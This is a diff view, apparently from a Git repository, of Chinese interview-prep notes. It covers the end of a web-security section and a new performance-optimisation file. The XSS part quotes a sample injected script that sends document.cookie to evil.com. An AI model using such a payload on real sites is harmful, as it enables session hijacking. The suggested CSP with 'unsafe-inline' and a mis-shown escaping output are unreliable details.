-- 不要授予 DROP、ALTER 等危险权限
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**4. 使用 ORM**:
|
||||
|
||||
```java
|
||||
// JPA/Hibernate 自动防止 SQL 注入
|
||||
User user = userRepository.findByUsernameAndPassword(username, password);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 5. XSS 攻击(跨站脚本攻击)
|
||||
|
||||
#### **原理**
|
||||
|
||||
攻击者在网页中注入恶意 JavaScript 代码。
|
||||
|
||||
**示例**:
|
||||
```html
|
||||
<!-- 用户输入评论 -->
|
||||
<script>
|
||||
// 攻击者注入的代码
|
||||
fetch('https://evil.com/steal?cookie=' + document.cookie);
|
||||
</script>
|
||||
```
|
||||
|
||||
**危害**:
|
||||
- 窃取 Cookie
|
||||
- 会话劫持
|
||||
- 重定向到钓鱼网站
|
||||
- 篡改网页内容
|
||||
|
||||
---
|
||||
|
||||
#### **防范措施**
|
||||
|
||||
**1. 输出转义**:
|
||||
|
||||
```java
|
||||
// 使用 Spring 的 HTML 转义
|
||||
import org.springframework.web.util.HtmlUtils;
|
||||
|
||||
String userInput = "<script>alert('XSS')</script>";
|
||||
String escaped = HtmlUtils.htmlEscape(userInput);
|
||||
// 输出:<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**2. CSP(Content Security Policy)**:
|
||||
|
||||
```http
|
||||
# HTTP 响应头
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**3. HttpOnly Cookie**:
|
||||
|
||||
```java
|
||||
// 设置 Cookie 为 HttpOnly(JavaScript 无法访问)
|
||||
Cookie cookie = new Cookie("session", token);
|
||||
cookie.setHttpOnly(true);
|
||||
cookie.setSecure(true); // 仅 HTTPS 传输
|
||||
response.addCookie(cookie);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**4. 输入验证**:
|
||||
|
||||
```java
|
||||
// 白名单验证
|
||||
if (!comment.matches("[a-zA-Z0-9 \\u4e00-\\u9fa5]+")) {
|
||||
throw new IllegalArgumentException("评论包含非法字符");
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 6. 密码存储
|
||||
|
||||
#### **错误做法**
|
||||
|
||||
```java
|
||||
// ❌ 明文存储
|
||||
password = "123456";
|
||||
|
||||
// ❌ Base64 编码(可逆)
|
||||
password = Base64.getEncoder().encodeToString("123456".getBytes());
|
||||
|
||||
// ❌ MD5 哈希(易被彩虹表破解)
|
||||
password = DigestUtils.md5Hex("123456"); // e10adc3949ba59abbe56e057f20f883e
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **正确做法:BCrypt**
|
||||
|
||||
**特点**:
|
||||
- 自动加盐(Salt)
|
||||
- 慢哈希(防暴力破解)
|
||||
- 可调整计算成本
|
||||
|
||||
```java
|
||||
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
|
||||
|
||||
public class PasswordExample {
|
||||
public static void main(String[] args) {
|
||||
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
|
||||
|
||||
// 加密(自动加盐)
|
||||
String rawPassword = "123456";
|
||||
String encodedPassword = encoder.encode(rawPassword);
|
||||
System.out.println("加密后:" + encodedPassword);
|
||||
// 输出:$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
|
||||
|
||||
// 验证
|
||||
boolean matches = encoder.matches(rawPassword, encodedPassword);
|
||||
System.out.println("验证结果:" + matches); // true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **密码存储最佳实践**
|
||||
|
||||
1. **使用慢哈希算法**:
|
||||
- BCrypt(推荐)
|
||||
- Argon2(最新)
|
||||
- PBKDF2
|
||||
- Scrypt
|
||||
|
||||
2. **每个密码独立的盐**:
|
||||
```java
|
||||
salt = random_bytes(16);
|
||||
hashed_password = hash(password + salt);
|
||||
```
|
||||
|
||||
3. **调整计算成本**:
|
||||
```java
|
||||
// BCrypt 成本参数(10-12 为宜)
|
||||
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
|
||||
```
|
||||
|
||||
4. **不要自己发明加密算法**
|
||||
|
||||
---
|
||||
|
||||
### 7. HTTPS 完整流程
|
||||
|
||||
```
|
||||
客户端 服务器
|
||||
│ │
|
||||
│─────── ClientHello ────────────→│
|
||||
│ (支持的加密套件、随机数1) │
|
||||
│ │
|
||||
│←────── ServerHello ─────────────│
|
||||
│ (选择的加密套件、随机数2、证书) │
|
||||
│←────── Certificate ─────────────│
|
||||
│ │
|
||||
│─────── 验证证书 ────────────────│
|
||||
│ (检查 CA 签名、有效期等) │
|
||||
│ │
|
||||
│─────── 生成随机数3 ─────────────→│
|
||||
│─────── 用公钥加密随机数3 ─────────→│
|
||||
│ │
|
||||
│ 服务器用私钥解密
|
||||
│ 生成会话密钥:
|
||||
│ master_secret = PRF(随机数1, 随机数2, 随机数3)
|
||||
│ │
|
||||
│←─────── ChangeCipherSpec ────────│
|
||||
│←─────── Finished ────────────────│
|
||||
│ (用会话密钥加密,证明安全) │
|
||||
│ │
|
||||
│─────── ChangeCipherSpec ─────────→│
|
||||
│─────── Finished ────────────────→│
|
||||
│ (用会话密钥加密) │
|
||||
│ │
|
||||
│══════ 加密通信 ══════════════════│
|
||||
│ (使用会话密钥对称加密) │
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 8. 中间人攻击
|
||||
|
||||
#### **原理**
|
||||
|
||||
攻击者拦截并可能篡改通信双方的通信内容。
|
||||
|
||||
```
|
||||
客户端 攻击者 服务器
|
||||
│ │ │
|
||||
├─── HTTPS 请求 ────→│ │
|
||||
│ ├─── 伪造请求 ───────→│
|
||||
│ │ │
|
||||
│←──── 伪造响应 ──────│←──── 真实响应 ──────│
|
||||
│←────────────────────│ │
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **防范措施**
|
||||
|
||||
**1. HTTPS + 证书验证**:
|
||||
- 验证服务器证书
|
||||
- 检查证书链
|
||||
- 验证证书有效期
|
||||
|
||||
**2. HSTS(HTTP Strict Transport Security)**:
|
||||
```http
|
||||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||||
```
|
||||
|
||||
**3. 证书固定(Certificate Pinning)**:
|
||||
```java
|
||||
// 移动应用中固定证书
|
||||
public class CertificatePinner {
|
||||
private static final String KNOWN_CERT = "SHA256:AAAAAAAAA...";
|
||||
|
||||
public void verifyCertificate(X509Certificate cert) {
|
||||
String certHash = calculateCertificateHash(cert);
|
||||
if (!certHash.equals(KNOWN_CERT)) {
|
||||
throw new SSLException("证书不匹配");
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 9. 实际项目安全实践
|
||||
|
||||
#### **安全检查清单**
|
||||
|
||||
- [ ] 所有用户输入都经过验证和转义
|
||||
- [ ] 密码使用 BCrypt 存储且每次加不同的盐
|
||||
- [ ] 敏感数据在传输时使用 HTTPS 加密
|
||||
- [ ] 敏感数据在存储时使用 AES 加密
|
||||
- [ ] API 使用 JWT 或 OAuth2 认证
|
||||
- [ ] 实施 CSRF 防护(CSRF Token)
|
||||
- [ ] 实施 CORS 限制
|
||||
- [ ] 设置安全响应头(CSP、X-Frame-Options 等)
|
||||
- [ ] 定期进行安全审计和渗透测试
|
||||
- [ ] 使用依赖扫描工具检查漏洞
|
||||
|
||||
---
|
||||
|
||||
### 10. 阿里 P7 加分项
|
||||
|
||||
**深度理解**:
|
||||
- 理解各种加密算法的数学原理
|
||||
- 理解 TLS 1.3 的改进
|
||||
- 理解零知识证明等高级加密技术
|
||||
|
||||
**实战经验**:
|
||||
- 有处理线上安全漏洞的经验
|
||||
- 有设计安全架构的经验
|
||||
- 有加密性能优化的经验
|
||||
|
||||
**架构能力**:
|
||||
- 能设计安全的认证和授权体系
|
||||
- 能设计数据加密方案
|
||||
- 能制定安全开发规范
|
||||
|
||||
**合规要求**:
|
||||
- 了解 GDPR、等保等安全合规要求
|
||||
- 有安全审计和风险评估经验
|
||||
603
questions/09-网络与安全/性能优化.md
Normal file
603
questions/09-网络与安全/性能优化.md
Normal file
@@ -0,0 +1,603 @@
|
||||
# 性能优化
|
||||
|
||||
## 问题
|
||||
|
||||
1. 性能优化的常见思路和方法有哪些?
|
||||
2. 如何进行系统性能瓶颈分析?
|
||||
3. 数据库性能优化有哪些方法?
|
||||
4. JVM 性能调优的常见问题和解决方案?
|
||||
5. 接口性能优化有哪些技巧?
|
||||
6. 如何进行全链路压测?
|
||||
7. 在实际项目中如何进行性能优化?
|
||||
|
||||
---
|
||||
|
||||
## 标准答案
|
||||
|
||||
### 1. 性能优化思路
|
||||
|
||||
#### **优化原则**
|
||||
|
||||
1. **测量优先**:先测量,后优化
|
||||
2. **抓大放小**:优化瓶颈,而非所有地方
|
||||
3. **数据驱动**:用数据说话
|
||||
4. **权衡取舍**:优化往往带来复杂性
|
||||
|
||||
---
|
||||
|
||||
#### **优化层次**
|
||||
|
||||
```
|
||||
用户响应时间
|
||||
↓
|
||||
前端优化(减少请求、CDN、缓存)
|
||||
↓
|
||||
网络优化(减少 RTT、压缩)
|
||||
↓
|
||||
后端优化(代码、算法、并发)
|
||||
↓
|
||||
数据库优化(索引、分库分表)
|
||||
↓
|
||||
操作系统优化(TCP、内核参数)
|
||||
↓
|
||||
硬件优化(CPU、内存、磁盘、网络)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. 性能瓶颈分析
|
||||
|
||||
#### **分析工具**
|
||||
|
||||
**1. CPU 分析**:
|
||||
```bash
|
||||
# top 命令
|
||||
top -p <pid>
|
||||
|
||||
# 查看 CPU 使用率
|
||||
%CPU: 80.5
|
||||
|
||||
# 查看线程 CPU
|
||||
top -H -p <pid>
|
||||
```
|
||||
|
||||
**2. 内存分析**:
|
||||
```bash
|
||||
# 查看内存使用
|
||||
free -h
|
||||
|
||||
# 查看进程内存
|
||||
ps aux | grep java
|
||||
|
||||
# JVM 堆内存
|
||||
jmap -heap <pid>
|
||||
```
|
||||
|
||||
**3. 磁盘 I/O**:
|
||||
```bash
|
||||
# iostat
|
||||
iostat -x 1
|
||||
|
||||
# 查看 I/O 等待
|
||||
%iowait: 15.2 # 高说明磁盘瓶颈
|
||||
```
|
||||
|
||||
**4. 网络 I/O**:
|
||||
```bash
|
||||
# 查看网络连接
|
||||
netstat -anp | grep <pid>
|
||||
|
||||
# 查看网络流量
|
||||
iftop
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **Java 性能分析工具**
|
||||
|
||||
**1. JProfiler**:
|
||||
- CPU Profiler
|
||||
- Memory Profiler
|
||||
- Thread Profiler
|
||||
|
||||
**2. Arthas(阿里开源)**:
|
||||
```bash
|
||||
# 安装
|
||||
curl -O https://arthas.aliyun.com/arthas-boot.jar
|
||||
java -jar arthas-boot.jar
|
||||
|
||||
# 查看 CPU 最高的线程
|
||||
dashboard
|
||||
|
||||
# 查看方法调用耗时
|
||||
trace com.example.UserService getUser
|
||||
|
||||
# 查看类加载
|
||||
sc -d com.example.User
|
||||
```
|
||||
|
||||
**3. VisualVM**:
|
||||
- JDK 自带
|
||||
- 可视化界面
|
||||
|
||||
---
|
||||
|
||||
### 3. 数据库性能优化
|
||||
|
||||
#### **优化层次**
|
||||
|
||||
```
|
||||
SQL 优化
|
||||
↓
|
||||
索引优化
|
||||
↓
|
||||
表结构优化
|
||||
↓
|
||||
数据库配置优化
|
||||
↓
|
||||
架构优化(读写分离、分库分表)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **SQL 优化**
|
||||
|
||||
**1. 避免 SELECT \***:
|
||||
```sql
|
||||
-- ❌ 查询所有列
|
||||
SELECT * FROM users WHERE id = 1;
|
||||
|
||||
-- ✅ 只查询需要的列
|
||||
SELECT id, name, email FROM users WHERE id = 1;
|
||||
```
|
||||
|
||||
**2. 避免 IN 子查询**:
|
||||
```sql
|
||||
-- ❌ 子查询
|
||||
SELECT * FROM orders WHERE user_id IN (SELECT id FROM users WHERE status = 1);
|
||||
|
||||
-- ✅ JOIN
|
||||
SELECT o.* FROM orders o
|
||||
INNER JOIN users u ON o.user_id = u.id
|
||||
WHERE u.status = 1;
|
||||
```
|
||||
|
||||
**3. 批量操作**:
|
||||
```sql
|
||||
-- ❌ 单条插入
|
||||
INSERT INTO orders (id, user_id) VALUES (1, 100);
|
||||
INSERT INTO orders (id, user_id) VALUES (2, 100);
|
||||
INSERT INTO orders (id, user_id) VALUES (3, 100);
|
||||
|
||||
-- ✅ 批量插入
|
||||
INSERT INTO orders (id, user_id) VALUES
|
||||
(1, 100),
|
||||
(2, 100),
|
||||
(3, 100);
|
||||
```
|
||||
|
||||
**4. 使用 UNION ALL 代替 UNION**:
|
||||
```sql
|
||||
-- ❌ UNION(去重,慢)
|
||||
SELECT name FROM users_a
|
||||
UNION
|
||||
SELECT name FROM users_b;
|
||||
|
||||
-- ✅ UNION ALL(不去重,快)
|
||||
SELECT name FROM users_a
|
||||
UNION ALL
|
||||
SELECT name FROM users_b;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **索引优化**
|
||||
|
||||
**1. 创建合适的索引**:
|
||||
```sql
|
||||
-- 为查询条件创建索引
|
||||
CREATE INDEX idx_user_id ON orders(user_id);
|
||||
|
||||
-- 为排序创建索引
|
||||
CREATE INDEX idx_created_at ON orders(created_at);
|
||||
|
||||
-- 联合索引(注意最左前缀)
|
||||
CREATE INDEX idx_user_status ON orders(user_id, status);
|
||||
```
|
||||
|
||||
**2. 避免索引失效**:
|
||||
```sql
|
||||
-- ❌ 使用函数
|
||||
SELECT * FROM orders WHERE YEAR(created_at) = 2024;
|
||||
|
||||
-- ✅ 范围查询
|
||||
SELECT * FROM orders WHERE created_at >= '2024-01-01' AND created_at < '2025-01-01';
|
||||
|
||||
-- ❌ 隐式转换
|
||||
SELECT * FROM users WHERE phone = 13800138000; -- phone 是 VARCHAR
|
||||
|
||||
-- ✅ 显式转换
|
||||
SELECT * FROM users WHERE phone = '13800138000';
|
||||
|
||||
-- ❌ 前缀模糊查询
|
||||
SELECT * FROM users WHERE name LIKE '%张';
|
||||
|
||||
-- ✅ 后缀模糊查询
|
||||
SELECT * FROM users WHERE name LIKE '张%';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **表结构优化**
|
||||
|
||||
**1. 垂直拆分**:
|
||||
```sql
|
||||
-- 拆分前(大表)
|
||||
CREATE TABLE users (
|
||||
id BIGINT PRIMARY KEY,
|
||||
name VARCHAR(50),
|
||||
email VARCHAR(100),
|
||||
password VARCHAR(100),
|
||||
intro TEXT, -- 简介(可能很长)
|
||||
settings JSON, -- 设置
|
||||
created_at DATETIME
|
||||
);
|
||||
|
||||
-- 拆分后
|
||||
CREATE TABLE users_base (
|
||||
id BIGINT PRIMARY KEY,
|
||||
name VARCHAR(50),
|
||||
email VARCHAR(100),
|
||||
password VARCHAR(100),
|
||||
created_at DATETIME
|
||||
);
|
||||
|
||||
CREATE TABLE users_ext (
|
||||
user_id BIGINT PRIMARY KEY,
|
||||
intro TEXT,
|
||||
settings JSON
|
||||
);
|
||||
```
|
||||
|
||||
**2. 水平拆分**:
|
||||
```sql
|
||||
-- 拆分前(单表数据量大)
|
||||
CREATE TABLE orders (
|
||||
id BIGINT PRIMARY KEY,
|
||||
user_id BIGINT,
|
||||
amount DECIMAL(10,2),
|
||||
created_at DATETIME
|
||||
); -- 1 亿条数据
|
||||
|
||||
-- 拆分后(按时间分表)
|
||||
CREATE TABLE orders_2024_01 (
|
||||
id BIGINT PRIMARY KEY,
|
||||
user_id BIGINT,
|
||||
amount DECIMAL(10,2),
|
||||
created_at DATETIME
|
||||
);
|
||||
|
||||
CREATE TABLE orders_2024_02 (
|
||||
...
|
||||
);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 4. JVM 性能调优
|
||||
|
||||
#### **常见问题**
|
||||
|
||||
**1. 内存泄漏**:
|
||||
```java
|
||||
// ❌ 内存泄漏
|
||||
public class Cache {
|
||||
private static final Map<String, Object> cache = new HashMap<>();
|
||||
|
||||
public void put(String key, Object value) {
|
||||
cache.put(key, value); // 永不清理,内存泄漏
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 使用 Guava Cache
|
||||
public class Cache {
|
||||
private static final Cache<String, Object> cache = CacheBuilder.newBuilder()
|
||||
.expireAfterWrite(10, TimeUnit.MINUTES)
|
||||
.maximumSize(10000)
|
||||
.build();
|
||||
|
||||
public void put(String key, Object value) {
|
||||
cache.put(key, value);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**2. 频繁 GC**:
|
||||
```bash
|
||||
# 查看 GC 情况
|
||||
jstat -gcutil <pid> 1000
|
||||
|
||||
# 输出
|
||||
S0 S1 E O M CCS YGC YGCT FGC FGCT GCT
|
||||
0.00 70.15 80.23 65.40 95.12 90.23 1523 45.236 10 12.345 57.581
|
||||
|
||||
# YGC:年轻代 GC 次数(正常 1000 次/小时以下)
|
||||
# FGC:老年代 GC 次数(应该接近 0)
|
||||
# GCT:总 GC 时间(应该 < 5%)
|
||||
```
|
||||
|
||||
**调优**:
|
||||
```bash
|
||||
# 调整堆内存大小
|
||||
-Xms4g -Xmx4g
|
||||
|
||||
# 调整年轻代大小
|
||||
-Xmn2g
|
||||
|
||||
# 使用 G1 收集器(大堆内存推荐)
|
||||
-XX:+UseG1GC
|
||||
|
||||
# 调整 GC 并行线程
|
||||
-XX:ParallelGCThreads=8
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**3. CPU 100%**:
|
||||
```bash
|
||||
# 查看最耗 CPU 的线程
|
||||
top -H -p <pid>
|
||||
|
||||
# 转换线程 ID 为 16 进制
|
||||
printf "%x" <tid>
|
||||
|
||||
# 查看线程堆栈
|
||||
jstack <pid> | grep <tid-in-hex> -A 20
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 5. 接口性能优化
|
||||
|
||||
#### **优化技巧**
|
||||
|
||||
**1. 异步处理**:
|
||||
```java
|
||||
// ❌ 同步处理(慢)
|
||||
@PostMapping("/order")
|
||||
public String createOrder(@RequestBody Order order) {
|
||||
// 1. 保存订单(100ms)
|
||||
orderService.save(order);
|
||||
|
||||
// 2. 发送邮件(500ms)
|
||||
emailService.send(order);
|
||||
|
||||
// 3. 发送短信(300ms)
|
||||
smsService.send(order);
|
||||
|
||||
// 总耗时:900ms
|
||||
return "success";
|
||||
}
|
||||
|
||||
// ✅ 异步处理(快)
|
||||
@PostMapping("/order")
|
||||
public String createOrder(@RequestBody Order order) {
|
||||
// 1. 保存订单(100ms)
|
||||
orderService.save(order);
|
||||
|
||||
// 2. 异步发送邮件、短信
|
||||
CompletableFuture.runAsync(() -> {
|
||||
emailService.send(order);
|
||||
smsService.send(order);
|
||||
});
|
||||
|
||||
// 总耗时:100ms
|
||||
return "success";
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**2. 缓存**:
|
||||
```java
|
||||
// ❌ 每次查询数据库
|
||||
public User getUser(Long userId) {
|
||||
return userMapper.selectById(userId); // 50ms
|
||||
}
|
||||
|
||||
// ✅ 使用缓存
|
||||
@Cacheable(value = "users", key = "#userId")
|
||||
public User getUser(Long userId) {
|
||||
return userMapper.selectById(userId); // 第一次 50ms,后续 1ms
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**3. 批量查询**:
|
||||
```java
|
||||
// ❌ 循环查询(N+1 问题)
|
||||
List<Order> orders = orderMapper.selectList();
|
||||
for (Order order : orders) {
|
||||
User user = userMapper.selectById(order.getUserId()); // N 次查询
|
||||
order.setUser(user);
|
||||
}
|
||||
|
||||
// ✅ 批量查询
|
||||
List<Order> orders = orderMapper.selectList();
|
||||
Set<Long> userIds = orders.stream()
|
||||
.map(Order::getUserId)
|
||||
.collect(Collectors.toSet());
|
||||
Map<Long, User> userMap = userMapper.selectByIds(userIds); // 1 次查询
|
||||
orders.forEach(o -> o.setUser(userMap.get(o.getUserId())));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**4. 连接池优化**:
|
||||
```yaml
|
||||
# HikariCP 配置
|
||||
spring:
|
||||
datasource:
|
||||
hikari:
|
||||
minimum-idle: 10 # 最小空闲连接
|
||||
maximum-pool-size: 50 # 最大连接池大小
|
||||
connection-timeout: 30000 # 连接超时时间
|
||||
idle-timeout: 600000 # 空闲连接超时
|
||||
max-lifetime: 1800000 # 连接最大生命周期
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 6. 全链路压测
|
||||
|
||||
#### **压测工具**
|
||||
|
||||
**1. JMeter**:
|
||||
- 图形化界面
|
||||
- 支持分布式压测
|
||||
- 可录制脚本
|
||||
|
||||
**2. Locust(Python)**:
|
||||
```python
|
||||
from locust import HttpUser, task, between
|
||||
|
||||
class WebsiteUser(HttpUser):
|
||||
wait_time = between(1, 3)
|
||||
|
||||
@task
|
||||
def index(self):
|
||||
self.client.get("/")
|
||||
|
||||
@task(3)
|
||||
def api(self):
|
||||
self.client.get("/api/users")
|
||||
```
|
||||
|
||||
**运行**:
|
||||
```bash
|
||||
locust -f locustfile.py --host=https://example.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **压测流程**
|
||||
|
||||
```
|
||||
1. 制定压测计划
|
||||
- 确定目标(QPS、响应时间)
|
||||
- 确定场景(秒杀、日常流量)
|
||||
|
||||
2. 编写压测脚本
|
||||
- 模拟真实用户行为
|
||||
- 准备测试数据
|
||||
|
||||
3. 执行压测
|
||||
- 逐步加压
|
||||
- 记录指标
|
||||
|
||||
4. 分析结果
|
||||
- 找出瓶颈
|
||||
- 优化后再次压测
|
||||
|
||||
5. 容量评估
|
||||
- 确定系统容量
|
||||
- 预留缓冲(如 30%)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### **压测指标**
|
||||
|
||||
| 指标 | 说明 | 目标值 |
|
||||
|------|------|--------|
|
||||
| **QPS** | 每秒请求数 | 根据业务需求 |
|
||||
| **响应时间** | P99 < 200ms | 根据业务需求 |
|
||||
| **错误率** | 错误请求比例 | < 0.1% |
|
||||
| **CPU 使用率** | CPU 占用 | < 70% |
|
||||
| **内存使用率** | 内存占用 | < 80% |
|
||||
| **TPS** | 每秒事务数 | 根据业务需求 |
|
||||
|
||||
---
|
||||
|
||||
### 7. 实际项目案例
|
||||
|
||||
#### **案例 1:接口响应时间从 2s 优化到 100ms**
|
||||
|
||||
**问题**:
|
||||
- 用户列表接口响应时间 2 秒
|
||||
- 数据库查询慢
|
||||
|
||||
**分析**:
|
||||
```sql
|
||||
EXPLAIN SELECT * FROM users WHERE status = 1;
|
||||
-- type: ALL(全表扫描)
|
||||
-- rows: 1000000
|
||||
```
|
||||
|
||||
**优化**:
|
||||
```sql
|
||||
-- 1. 添加索引
|
||||
CREATE INDEX idx_status ON users(status);
|
||||
|
||||
-- 2. 只查询需要的字段
|
||||
SELECT id, name, email FROM users WHERE status = 1;
|
||||
|
||||
-- 3. 添加缓存
|
||||
@Cacheable("users")
|
||||
```
|
||||
|
||||
**结果**:响应时间降至 100ms
|
||||
|
||||
---
|
||||
|
||||
#### **案例 2:解决频繁 GC 问题**
|
||||
|
||||
**问题**:
|
||||
- 应用频繁 Full GC
|
||||
- CPU 使用率 100%
|
||||
|
||||
**分析**:
|
||||
```bash
|
||||
# 查看 GC 日志
|
||||
jstat -gcutil <pid> 1000
|
||||
|
||||
# FGC 频繁,说明老年代内存不足
|
||||
```
|
||||
|
||||
**优化**:
|
||||
```bash
|
||||
# 调整 JVM 参数
|
||||
-Xms8g -Xmx8g # 增加堆内存
|
||||
-Xmn4g # 调整年轻代大小
|
||||
-XX:+UseG1GC # 使用 G1 收集器
|
||||
-XX:MaxGCPauseMillis=200 # 设置最大 GC 暂停时间
|
||||
```
|
||||
|
||||
**结果**:Full GC 次数从每小时 10 次降至 0 次
|
||||
|
||||
---
|
||||
|
||||
### 8. 阿里 P7 加分项
|
||||
|
||||
**深度理解**:
|
||||
- 理解性能优化的底层原理(操作系统、网络、数据库)
|
||||
- 理解各种性能分析工具的实现原理
|
||||
- 理解性能测试的统计学方法
|
||||
|
||||
**实战经验**:
|
||||
- 有将接口从秒级优化到毫秒级的经验
|
||||
- 有解决线上性能问题的经验
|
||||
- 有全链路压测的经验
|
||||
|
||||
**架构能力**:
|
||||
- 能设计高性能架构
|
||||
- 能设计性能监控体系
|
||||
- 能制定性能优化规范
|
||||
|
||||
**技术选型**:
|
||||
- 了解各种性能分析工具(JProfiler、Arthas、SkyWalking)
|
||||
- 了解分布式追踪系统(Zipkin、Jaeger)
|
||||
- 能根据业务特点制定性能指标
|
||||
Reference in New Issue
Block a user